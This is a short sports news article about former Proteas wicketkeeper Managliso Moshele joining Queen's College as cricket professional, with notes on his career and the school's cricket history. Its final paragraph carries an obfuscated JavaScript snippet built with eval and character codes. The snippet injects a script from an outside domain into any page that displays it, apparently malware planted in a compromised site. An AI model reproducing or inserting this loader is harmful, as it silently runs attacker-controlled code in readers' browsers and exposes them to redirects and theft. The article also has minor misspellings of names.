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Queen’s College bring in former Protea to bolster their programme

By Alex Ralston , in Cricket | News , at 2023-07-19

The recently retired Managliso Moshele, has been appointed as the new cricket proffesional at Queen’s College. 

Moshele, a brilliant gloveman who hails from Duduza in the East Rand, is no stranger to the game of cricket.

He was a bit of a journeyman on the South African cricket circuit having represented a number of teams over his 15 year career including Easterns, Titans, Lions, Dolphins and Knights.

He will bring a wealth of experience to the school, having represented the Proteas in seven T20 International matches, his last match being played up against Bangladesh in 2017.

Managiliso represented South Africa u19 at the 2008 World Cup, which featured the likes of Virat Kolhi, Kane Williamson and Wayne Parnell. 

He finished up his career having come full circle and playing for Easterns in Division 2 of the newly restructured provincial system. In between starting his career at the province where he was identified by Ray Jennings as an upcoming talent he scored 3748 first class runs before announcing his retirement from all forms of the game in June 2023. 

An acrobat behind the stumps and what some would describe a caribbean-esque approach to batting, full of flair and natural aggression, the boys at Queens College will have a great opportunity to pick the brains of someone who has captained a number of provincial teams. 

Managliso was recently quoted as saying that, “He is looking forward to the journey ahead and is excited to be a part of a school that has a great history.”

Queen’s College has a rich cricket history in the Eastern Cape producing  a number of provincial players over the years. The school has produced two Proteas including Daryl Cullinan, Justin Kemp, along with brothers Tony and Ian Greig who represented England. 

With the winter sports season wrapping up, and summer fast approaching Queens College will be eagerly looking at securing a few wins under their belt as the weather warms up. The side will be  to come up against rivals Dale College and Grey High School, both of whom they have a proud long standing rivalry. var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

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